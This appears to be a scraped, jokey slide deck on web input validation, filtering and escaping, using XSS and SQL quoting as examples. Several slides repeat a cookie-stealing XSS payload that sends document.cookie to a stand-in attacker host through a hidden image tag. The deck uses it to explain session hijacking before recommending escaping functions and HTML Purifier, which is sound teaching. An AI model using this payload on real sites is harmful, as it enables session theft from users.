760 likes | 884 Vues
In the rapidly evolving realm of web security, understanding how to effectively validate and filter user input is crucial. This guide explores three powerful techniques to ensure your web applications are protected against malicious scripts and unwanted data. From passive validation strategies that can help maintain user-friendliness, to robust filtering methods that allow only safe content, we break down the complexities of white-listing and black-listing. Learn how to escape data properly and implement effective solutions to thwart common attacks like XSS. Stay secure and keep your applications thriving!
E N D
Three Ways (All Awesome)
Passive (No touchy-touchy)
This is really not a Number. <script>alert(‘loldongs’)</script>
Destructive (One-Way Street)
What’s the diff? (Bro.)
What happens when you screw it up? White-Listing Usability Problems Black-Listing SecurityProblems (Always a trade-off.)
Transport Point A Point B
HTML <b>Huh.</b> <p><i><b>Huh.</b></i></p> <b>Huh</b>
SQL Sam O’Brien INSERT INTO mah_peeps (name) VALUES (‘Sam O\’Brien‘); 1, Sam O’Brien, 2010-09-02 18:30:00
XSS (Cross-Site Scripting)
SS (XTREME Site Scripting)
Sticking Scripts Where They Don’t Belong. You there, down the back. Stop sniggering.
<script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Oh shit.
Why is this uncool? (Yeah! Why?)
<script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Ooooh shit.
<script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Oooooooooooh shit.
<script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Oooooooooooooooooh shit.
Why is this really uncool? (Because shut up.)
HTTP Hyper-Text Thingy I-forgot-again
It can guess.(Badly.) IP Address Browser User-Agent
Sends a cookie with each request. (A basket of goodies that the browser sends faithfully every request.)
The Server puts a unique ID in the basket. PHPSESSID=123your456mum789 __utma=12948.23.4211414.5553 is_a_furry=1
Browser sends the ID every request. PHPSESSID=123your456mum789
<script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Look again.
THEY HAVE YOUR COOKIE. Ooooooooooooooooooooooo-
HTML Validation Really Hard.
HTML Filtering Still Really Hard. • Use a library,eg. HTML Purifier.
HTML Escaping Dead Easy. • Most languages have stuff to handle this, eg. • htmlentities(), cgi.escape(), CGI.escape()
How hard is filtering? (It’s just <script>, right?)